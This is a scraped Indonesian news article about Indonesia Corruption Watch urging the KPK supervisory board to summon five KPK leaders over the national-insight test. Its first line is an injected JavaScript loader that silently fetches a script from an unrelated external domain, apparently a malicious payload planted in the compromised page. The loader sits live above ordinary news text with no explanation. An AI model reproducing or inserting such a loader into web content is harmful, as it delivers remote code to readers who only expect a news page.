(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Indonesia Corruption Watch (ICW) mendesak agar Dewan Pengawas KPK segera memanggil lima pimpinan KPK yang diketuai Firli Bahuri. Pemanggilan itu atas laporan dugaan pelanggaran kode etik terkait tes wawasan kebangsaan (TWK).
“ICW mendesak agar Dewan Pengawas segera menjadwalkan pemanggilan seluruh Pimpinan KPK untuk menindaklanjuti laporan dugaan pelanggaran kode etik perihal Tes Wawasan Kebangsaan,” ucap Peneliti ICW Kurnia Ramadhana melalui keterangan, Sabtu (22/5/2021).
Menurut Kurnia, pimpinan KPK secara jelas telah melakukan pelanggaran kode etik karena menggunakan tes wawasan kebangsaan (TWK) untuk dijadikan pearlihan pegawai KPK menjadi aparatur sipil negara (ASN).
Padahal TWK sama sekali tidak ada dalam PerKom 1/2021 maupun UU KPK nomor 19 tahun 2019 hasil revisi. Maupun Peraturan Pemerintah 41/20.
“Jika tidak dilakukan, maka Dewan Pengawas tidak lagi menjadi instrumen pengawasan, justru berubah menjadi pelindung Pimpinan KPK,” tutup Kurnia.
Sebelumnya lima pimpinan KPK yang dilaporkan yakni Ketua Firli Bahuri, Wakil Nawawi Pomolango, Lili Pintauli Siregar, Alexander Marwata, dan Nuri Ghufron. Ada tiga alasan mereka dilaporkan oleh Dewas KPK.
Perwakilan 75 pegawai KPK tak lolos, yang juga merupakan Kepala Satuan Tugas Pembelanjaran Anti Korupsi KPK, Hotman Tambunan, mempermasalahkan kejujuran lima pimpinan KPK. Ia menyebut dalam berbagai sosialisasi pimpinan KPK mengatakan bahwa tidak ada konsekuensi dari pada TWK.
“Dan kami juga berpikir bahwa asesmen bukanlah suatu hal yang bisa meluluskan dan tidak meluluskan suatu hal,” ucap Hotman.
Menurut Hotman ini sangat berkaitan juga dengan hak-hak. Karena pimpinan KPK sebagai orang yang akan menentukan masa depan kita.
“Maka sudah sewajarnya informasi yang diberikan kepada kita adalah informasi yang benar,” tegas Hotman.
Alasan kedua, kata Hotman, ini menjadi kepedulian terhadap pegawai KPK perempuan. Dimana dalam pertanyaan TWK itu dianggap ada sejumlah kejanggalan yang bersifat melecehkan.
“Kami tidak menginginkan lembaga negara digunakan untuk melakukan suatu hal yang diindikasikan bersifat pelecehan seksual dalam rangka tes wawancara seperti ini,” ungkap Hotman.
Alasan terakhir, kata Hotman, bahwa lima pimpinan KPK dianggap telah melakukan kesewenang-wenangan. Dimana pimpinan KPK dianggap tidak mempertimbangkan putusan majelis hakim dalam gugatan revisi UU KPK Baru.
Dimana, majelis hakim meminta agar peralihan pegawai KPK menjadi ASN jangan sampai merugikan hak pegawai KPK.(suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More
This website uses cookies.